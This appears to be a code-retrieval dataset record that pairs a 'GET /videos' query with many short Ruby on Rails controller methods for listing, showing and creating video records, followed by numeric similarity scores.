"def index\n ip = index_params()\n published = ip[:published].boolean? ? ip[:published] : (ip[:published].nil? ? DEFAULT_PUBLISHED : ip[:published].to_b)\n @videos = Video.includes(:video_motifs).where(:published => published)\n @motif_ids = ip[:motif_ids] || (ip[:query] || []).select { |val|\n val.starts_with? '__'\n }.map { |val| val[2..-1] }\n @keywords = ip[:keywords] || (ip[:query] || []).select { |val|\n !val.starts_with? '__'\n }\n @videos = @videos.has_combined_motifs(@motif_ids) if !@motif_ids.empty?\n @videos = @videos.keywords_include(@keywords) if !@keywords.empty?\n @videos = @videos.order('created_at DESC')\n render :json => @videos, :include => ALL_INCLUDES\n end",
"def index\n @game_videos = GameVideo.all\n end",
"def index\n @jeux_videos = JeuxVideo.all\n end",
"def index\n\t\t@latest_video = Video.find(:first, :order => \"created_at DESC\")\n\t\toptions = {\n\t\t\t:page => params[:page] || 1,\n\t\t\t:per_page => 10,\n\t\t\t:order => params[:sort].blank? ? \"created_at DESC\" : params[:sort]\n\t\t}\n\t\toptions[:conditions] = [\"id != #{@latest_video.id}\"]\n @videos = Video.paginate(options)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @videos }\n end\n end",
"def videos\n @hot_video_mapper.build_video_items(@list_data['items'])\n end",
"def list_all_videos(user_name)\n uri = create_api_uri(@@base_uri, user_name, 'listAllVideos')\n return get(uri)\n end",
"def index\n @broadcaster_videos = Broadcaster::Video.all\n end",
"def index\n @videos = Video.where(user_id: current_user.id)\n end",
"def index\n @videos = Video.all\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @videos.to_xml }\n end\n end",
"def search_videos(search_string)\n url = \"http://www.blip.tv/search/?search=#{search_string}&skin=json\"\n request = open(url,{\"UserAgent\" => \"Ruby-Wget\"}).read\n json = JSON.parse(request[16...-3])\n parse_json_videos_list(json)\n end",
"def show\n @video = current_user.videos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def set_videolist\n @videolist = Videolist.find(params[:id])\n end",
"def index\n @videos = Video.where(project_id: @project.id)\n end",
"def index\n @medio_videos = MedioVideo.all\n end",
"def videos_for(items, key, options)\n items.body['items'].map{|item| item['id'] = item[key]['videoId']}\n\n if options[:parts] == %i(id)\n items\n else\n options[:ids] = items.body['items'].map{|item| item['id']}\n options[:offset] = nil\n fetch('/youtube/v3/videos', resource_params(options)).tap do |response|\n response.body['nextPageToken'] = items.body['nextPageToken']\n end\n end\n end",
"def index\n @videos = @palestrante.videos.mais_novos\n end",
"def index\n \n @videos = Video.where(:video_type => 2).order(\"id DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def index\n @videos = Video.all.order(created_at: :desc)\n end",
"def list_videos(opts = {})\n data, _status_code, _headers = list_videos_with_http_info(opts)\n return data\n end",
"def show\n render json: @video\n end",
"def youtube_list(user)\n require 'youtube_it'\n client = YouTubeIt::Client.new\n\n offset = 1\n videos = []\n while true # keep requesting more videos until there are none left\n resp = client.videos_by(:user => user, :offset => offset)\n break if resp.videos.size == 0\n offset += 25\n videos = videos + resp.videos.map {|v| [\"http://www.youtube.com/watch?v=#{v.unique_id}\", \"YT: #{v.title}\"]}\n end\n return videos\nend",
"def index\n @lecture = Tutorial.find(params[:lecture_id])\n @videotuts = @lecture.videos.order(:id)\n \n \n end",
"def load_videos2\n json = File.read(VIDEOS2_FILE)\n array = JSON.parse(json)\n array[\"videos\"].map! { |v| {\"postId\" => v[\"postId\"], \"wordList\" => v[\"wordList\"]}}\n array[\"videos\"]\n end",
"def get_folder_videos folder_id, **args\n get(\"/projects/#{folder_id}/videos\", args)\n end",
"def search_videos(args = {})\n args = receive_should_validate? args\n\n get('redtube.Videos.searchVideos', args,\n [:category, :page, :search, :tags, :stars,\n :thumbsize, :ordering, :period], args[:should_validate])\n end",
"def show\n @videos = Video.all\n @video = @videos.find params[:id]\n end",
"def index\n @videos = Video.order('created_at DESC')\n end",
"def index\n @sales_videos = Sales::Video.all\n end",
"def show\n render json: @video\n end",
"def index\n logger.debug\n video = Video\n if params[:category]\n @category = Category.find(params[:category])\n if not @category\n raise ActionController::RoutingError.new('Not Found')\n end\n video = video.where(category_id: @category.id)\n end\n if params[:tag]\n @tag = params[:tag]\n video = video.tagged_with(params[:tag])\n end\n\n @total = video.count\n @videos = apply_scopes(video).includes(:category).published.page(params[:page])\n end",
"def myvideos\n @videos = @current_user.videos.all\n end",
"def index\n @saved_videos = SavedVideo.all\n end",
"def index\n if params.include?(:scene_id)\n @videos = Video.with_scene_id(params[:scene_id])\n\n respond_to do |format|\n format.json { render :json => @videos }\n format.html # index.html.erb\n end\n else\n raise CanCan::AccessDenied.new(\"Not authorized!\")\n end\n end",
"def index\n redirect_to videos_url\n end",
"def index\n @traditional_route_videos = TraditionalRouteVideo.all\n end",
"def index\n @training_videos = TrainingVideo.all\n end",
"def index\n @afdoc = ActiveFedora::Base.find(params[:archival_video_id], :cast => true)\n respond_to do |format|\n format.html { render :partial => \"external_videos/show/list\" if request.xhr? }\n end\n end",
"def get_videos(opts = {})\n data, _status_code, _headers = get_videos_with_http_info(opts)\n return data\n end",
"def index\n @videogames = Videogame.all.paginate(:page => params[:page], :per_page => 8)\n end",
"def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end"
] | [
"0.8083367",
"0.7769143",
"0.7755607",
"0.7634245",
"0.763365",
"0.763365",
"0.763365",
"0.763365",
"0.76053154",
"0.7463178",
"0.7461059",
"0.7452215",
"0.7430447",
"0.73788255",
"0.7368817",
"0.7312249",
"0.7265401",
"0.7265401",
"0.7265401",
"0.7265401",
"0.7265401",
"0.7265401",
"0.7265401",
"0.7265401",
"0.7265401",
"0.7265401",
"0.7265401",
"0.7265401",
"0.7265401",
"0.7265401",
"0.7265401",
"0.7265401",
"0.7265401",
"0.724864",
"0.71062565",
"0.70979875",
"0.7087305",
"0.707997",
"0.707997",
"0.70591086",
"0.7009231",
"0.69989604",
"0.698832",
"0.6974546",
"0.69696724",
"0.69648594",
"0.6961733",
"0.69530356",
"0.69353753",
"0.69170225",
"0.6913773",
"0.6898241",
"0.6859829",
"0.68507254",
"0.6847451",
"0.68196905",
"0.6818785",
"0.68186665",
"0.6799517",
"0.6771434",
"0.675791",
"0.67244387",
"0.6719795",
"0.6719376",
"0.6668171",
"0.6656556",
"0.66403806",
"0.6631148",
"0.66083455",
"0.66057193",
"0.66028595",
"0.6598117",
"0.6594134",
"0.6582915",
"0.6574563",
"0.6551918",
"0.6546577",
"0.65431666",
"0.6543118",
"0.6541204",
"0.65368736",
"0.6531806",
"0.6528072",
"0.6521136",
"0.6517628",
"0.65031636",
"0.64950216",
"0.6493903",
"0.6491237",
"0.64908993",
"0.6454011",
"0.6433015",
"0.6431926",
"0.6428291",
"0.6428016",
"0.6426528",
"0.6414979",
"0.6414331",
"0.641274",
"0.641274"
] | 0.842482 | 0 |
GET /videos/1 GET /videos/1.json | def show
@video = Video.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @video }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def videos options={}\n response = client.get(\"/#{id}/videos\", options)\n end",
"def index\n @videos = Video.all\n render json: @videos\n end",
"def list\n @videos = Video.all\n\n respond_to do |format|\n format.html # list.html.erb\n format.json { render json: @videos }\n end\n end",
"def show\n @video = current_user.videos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def show\n @videos = Video.find_by(id: params[:id])\n end",
"def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = current_user.videos\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def get_album_videos album_id\n get(\"/albums/#{album_id}/videos\")\n end",
"def show\n render json: @video\n end",
"def show\n @videos = Video.all\n @video = @videos.find params[:id]\n end",
"def show\n render json: @video\n end",
"def index\n @videos = Video.order('created_at DESC').page params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = @item.videos\n end",
"def index\n @videos = @item.videos\n end",
"def index\n\n\n\n @yt_client = YouTubeIt::Client.new(:dev_key => ENV[\"YOUTUBE_DEV_KEY\"])\n\n @videos = Video.search(params[:search])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = Video.pluck 'title'\n @videos = Video.order('created_at DESC')\n respond_to do |format|\n format.html{}\n format.json { render :json => @videos }\n end\n end",
"def index\n #@videos = Video.all\n @videos = Video.paginate(:page => params[:page], :per_page => 25)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = current_user.videos\n respond_with(@videos)\n end",
"def resources\n videos\n end",
"def video\n YouTubeApi.find_video(youtube_id)\n end",
"def show\n @c_video = CVideo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @c_video }\n end\n end",
"def show \n @project = Project.find params[:id]\n @videos = @project.videos\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def show\n @video = Video.find(params[:id])\n end",
"def show\n @yt_client = YouTubeIt::Client.new(:dev_key => \"AI39si6hkRNCL77mzzv1LycIohZtksVIi0L5S9lQMx6crqOfGdyKcB2U2M5WHeNBUT2VLgTVzjR9rxPa1RJZw-sZ6wqtnaZ7AA\")\n @video = Video.find(params[:id])\n\n @comments = @video.comments.all\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def my_video(video_id)\n client.get_my_video(video_id)\n end",
"def show\n @jeux_videos = JeuxVideo.find(params[:id])\n \n end",
"def index\n #@videos = Video.all\n Video.delete_database_and_files_on_server\n @video = Video.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def show\n @user_video = UserVideo.find(params[:id]) \n @vid_id = @user_video.video_embed.split('?v=')[1]\n @u = \"http://www.youtube.com/embed/\" + @vid_id\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_video }\n end\n end",
"def index\n @videos = current_user.videos\n end",
"def index\n authorize! :read, @videos\n @videos = searchitems(params[:search],Video,'video_name')\n @video = @videos.first\n end",
"def show\n @video = Video.find(params[:id])\n respond_with(@video)\n end",
"def show\r\n @video = Video.find(params[:id]) \r\n\r\n respond_to do |format|\r\n format.html { render :layout => false } #show.html.erb\r\n format.json { render json: @video } \r\n end\r\n end",
"def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end",
"def new\n \n @video = Video.new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def index\n @videos = Video.where(project_id: @project.id)\n end",
"def index\n @videos = @user.videos\n @videos = @videos.order(:id).page params[:page]\n end",
"def load_videos2\n json = File.read(VIDEOS2_FILE)\n array = JSON.parse(json)\n array[\"videos\"].map! { |v| {\"postId\" => v[\"postId\"], \"wordList\" => v[\"wordList\"]}}\n array[\"videos\"]\n end",
"def show\n @video = Video.find(params[:id])\n\n @networks = @video.networks\n\n @impressions = @video.impressions\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def list_videos_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: VideoApi.list_videos ...\"\n end\n # resource path\n local_var_path = \"/videos\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['bearer']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Video>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VideoApi#list_videos\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def video\n\t\tVideo.find(self.video_id)\n\tend",
"def show\n render :json => @video, :include => ALL_INCLUDES\n end",
"def new\n @video = Video.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def show\n @controller = controller_name\n @action = action_name\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def get_folder_videos folder_id, **args\n get(\"/projects/#{folder_id}/videos\", args)\n end",
"def index\n @videos = @palestrante.videos.mais_novos\n end",
"def show\n @video = Video.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @video }\n end\n end",
"def show\n @video = Video.new\n @competition_videos = Competition.find(params[:id]).videos\n #@competition_videos = Competition.find(params[:id]).videos.order(created_at: :desc).paginate(page: params[:page],per_page:50)\n end",
"def index\n @game_videos = GameVideo.all\n end",
"def show\n @kuaibovideo = Kuaibovideo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kuaibovideo }\n end\n end",
"def index\n if params.include?(:scene_id)\n @videos = Video.with_scene_id(params[:scene_id])\n\n respond_to do |format|\n format.json { render :json => @videos }\n format.html # index.html.erb\n end\n else\n raise CanCan::AccessDenied.new(\"Not authorized!\")\n end\n end",
"def videos()\n\t\treturn Videos.new(@credentials.client_key, @credentials.get_access_token)\n\tend",
"def show\n @tutorial = Tutorial.find(params[:id])\n\t @videos = @tutorial.videos.all\n \n end",
"def show\n @community_member_video = @community_member_profile.videos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @community_member_video }\n end\n end",
"def video_by(params)\n params = {:video_id => params} if !params.is_a?(Hash)\n url = \"http://gdata.youtube.com/feeds/api/\"\n video_id = params[:video_id].split(\"/\").last\n if params[:user]\n url << \"users/#{params[:user]}/uploads/#{video_id}\"\n else\n url << \"videos/#{video_id}\"\n end\n parser = YouTubeG::Parser::VideoFeedParser.new(url, request_headers, request_options)\n parser.parse\n end",
"def get_videos_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: MediaVideosApi.get_videos ...\"\n end\n # resource path\n local_var_path = \"/media/videos\"\n\n # query parameters\n query_params = {}\n query_params[:'exclude_flagged'] = opts[:'exclude_flagged'] if !opts[:'exclude_flagged'].nil?\n query_params[:'filter_videos_by_uploader'] = opts[:'filter_videos_by_uploader'] if !opts[:'filter_videos_by_uploader'].nil?\n query_params[:'filter_category'] = opts[:'filter_category'] if !opts[:'filter_category'].nil?\n query_params[:'filter_tagset'] = opts[:'filter_tagset'] if !opts[:'filter_tagset'].nil?\n query_params[:'filter_videos_by_name'] = opts[:'filter_videos_by_name'] if !opts[:'filter_videos_by_name'].nil?\n query_params[:'filter_videos_by_contributor'] = opts[:'filter_videos_by_contributor'] if !opts[:'filter_videos_by_contributor'].nil?\n query_params[:'filter_videos_by_author'] = opts[:'filter_videos_by_author'] if !opts[:'filter_videos_by_author'].nil?\n query_params[:'filter_has_author'] = opts[:'filter_has_author'] if !opts[:'filter_has_author'].nil?\n query_params[:'filter_has_uploader'] = opts[:'filter_has_uploader'] if !opts[:'filter_has_uploader'].nil?\n query_params[:'filter_related_to'] = opts[:'filter_related_to'] if !opts[:'filter_related_to'].nil?\n query_params[:'filter_friends'] = opts[:'filter_friends'] if !opts[:'filter_friends'].nil?\n query_params[:'filter_disposition'] = opts[:'filter_disposition'] if !opts[:'filter_disposition'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceVideoResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MediaVideosApi#get_videos\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @medio_videos = MedioVideo.all\n end",
"def index\n @videos = Video.where(user_id: current_user.id)\n end",
"def index\n @community_member_videos = @community_member_profile.videos\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @community_member_videos }\n end\n end",
"def list\n respond_to do |format|\n format.html { render partial: 'videos/issues_video_container', locals: {videos: Video.where(issue_id: params[:issue_id]).page(params[:page]).per(params[:per]), issue: Issue.where(id: params[:issue_id])} }\n format.json { render json: Video.where(issue_id: params[:issue_id]).page(params[:page]).per(params[:per])}\n end\n end",
"def index\n \n @videos = Video.where(:video_type => 2).order(\"id DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def show\r\n @video = Video.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml { render :xml => @video }\r\n end\r\n end",
"def show\n slug = params[:slug]\n\n @video = Video.find(params[:id]) if slug.blank?\n @video = Video.find_by_slug(slug) if slug.present?\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end"
] | [
"0.77855194",
"0.7450134",
"0.7386234",
"0.73703194",
"0.7363398",
"0.73398286",
"0.7338815",
"0.7338815",
"0.7338815",
"0.7338815",
"0.7308188",
"0.722379",
"0.72142017",
"0.72013223",
"0.7160676",
"0.7117048",
"0.7104133",
"0.7104133",
"0.7077088",
"0.7041828",
"0.7010378",
"0.69771767",
"0.6974248",
"0.6968238",
"0.69675934",
"0.6949619",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.69005495",
"0.6877562",
"0.68563896",
"0.67596644",
"0.6754028",
"0.6747011",
"0.67260164",
"0.6714213",
"0.6687122",
"0.6683894",
"0.6663299",
"0.6662319",
"0.66496116",
"0.66252255",
"0.65971005",
"0.65909487",
"0.6590601",
"0.65899575",
"0.65899575",
"0.65899575",
"0.65899575",
"0.65899575",
"0.65899575",
"0.65899575",
"0.65899575",
"0.65899575",
"0.65899575",
"0.65821564",
"0.65789205",
"0.6575012",
"0.6552858",
"0.6551249",
"0.6531845",
"0.65227634",
"0.65002376",
"0.6495363",
"0.64825684",
"0.64803565",
"0.644912",
"0.6445392",
"0.644374",
"0.64400136",
"0.6438082",
"0.6433727",
"0.64314103",
"0.6425505",
"0.6425331",
"0.6423002",
"0.6422996",
"0.642271",
"0.64007115"
] | 0.73798877 | 9 |
GET /videos/new GET /videos/new.json | def new
@video = Video.new
@licenses = License.all
@galleries = Gallery.all
if @licenses.empty?
redirect_to "/licenses/new", :notice => "You need to create at least one license"
return
end
respond_to do |format|
format.html # new.html.erb
format.json { render json: @video }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def new\n \n @video = Video.new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n begin\n @active_page = \"videos\"\n @video = Video.new\n respond_with(@video)\n rescue Exception => e\n log_error(e, \"Error occured in New action of VideosController\")\n flash_error(t('videos.new_page_load_error'))\n end\n end",
"def new\r\n @video = Video.new\r\n\r\n respond_to do |format|\r\n format.html { render :layout => false } # new.html.erb\r\n format.json { render json: @video }\r\n end\r\n end",
"def new\n\tif user_type != 'guest' and user_type != 'bunned' and user_type != 'new_user'\n\t\t@video = Video.new\n\t\t\n\t\t@title = 'Новое видео'\n\t\trespond_to do |format|\n\t\t format.html # new.html.erb\n\t\t format.json { render :json => @video }\n\t\tend\n\telse\n\t\tredirect_to '/404'\n\tend\n end",
"def new\n authorize! :create, @videos\n @videos = Video.new\n end",
"def new\n @video = Video.new\n @title = \"Video Submission\"\n \n @url = params[:url]\n \n respond_to do |format|\n format.html # new.html.erb\n end\n end",
"def new\n @channel = params[:forminfo]\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = @project.videos.build\n \n respond_to do |format|\n if @user.can_add_videos?\n format.html # new.html.erb\n format.xml { render :xml => @video }\n else\n flash[:warning] = \"You cannot add any more videos, upgrade plan or remove old videos.\"\n format.html { redirect_to(project_url(@project, :subdomain => @user.subdomain)) }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\r\n @video = Video.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @video }\r\n end\r\n end",
"def new\n @tv = Tv.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tv }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @video }\n end\n end",
"def new\n @video = Video.new\n respond_with(@video)\n end",
"def new\n @mwod_video_link = MwodVideoLink.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mwod_video_link }\n end\n end",
"def new\n @vet = Vet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vet }\n end\n end",
"def new\n\n @project = Project.user_readable(current_user, params[:project_id])\n\n if @project\n\n @video = @project.videos.new\n @video.set_defaults\n @aws_signature_url = root_url + \"signatures/aws_uploads\"\n\n respond_to do |format|\n format.html\n format.json { render :json => {:video_id => @video.id, :aws_videos_path => @video.videos_path}, :status => :ok }\n end\n\n else\n not_authorized\n end\n\n end",
"def create\n @video = current_user.videos.new(video_params)\n respond_to do |format|\n if @video.save\n format.html { redirect_to videos_path(), notice: 'Video criado com sucesso.' }\n format.json { render :index, status: :created, location: @video }\n else\n format.html { redirect_to new_video_path(), notice: 'Video não salvo.' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @video_gallery = VideoGallery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video_gallery }\n end\n end",
"def new\n @video = Video.new\n @questions = Question.find_all_by_category_id(params[:category_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n @scene = Scene.find(params[:scene_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n @video.save!\n render json: @video\n end",
"def create\n\tif user_type != 'guest' and user_type != 'bunned' and user_type != 'new_user'\n\t\tparams[:video][:user_id] = current_user.id\n\t\t@video = Video.new(params[:video])\n\t\trespond_to do |format|\n\t\t if @video.save\n\t\t\tformat.html { redirect_to @video, :notice => 'Видео успешно добавлено' }\n\t\t\tformat.json { render :json => @video, :status => :created, :location => @video }\n\t\t else\n\t\t\tformat.html { render :action => \"new\" }\n\t\t\tformat.json { render :json => @video.errors, :status => :unprocessable_entity }\n\t\t end\n\t\tend\n\telse\n\t\tredirect_to '/404'\n\tend\n end",
"def new\n @video = Video.new\n @video.duration = 60\n @video.width = 1280\n @video.height = 720\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def create\n vid = Video.create(video_params)\n redirect_to \"/videos/#{vid.id}\"\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video.as_json }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @video = Video.new\n end",
"def new\n @video = Video.new\n end",
"def new\n @video = Video.new\n end",
"def new\n @video = Video.new\n end",
"def new\n @video_game = VideoGame.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video_game }\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to root_url, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render action: 'show', status: :created, location: @video }\n else\n format.html { render action: 'new' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
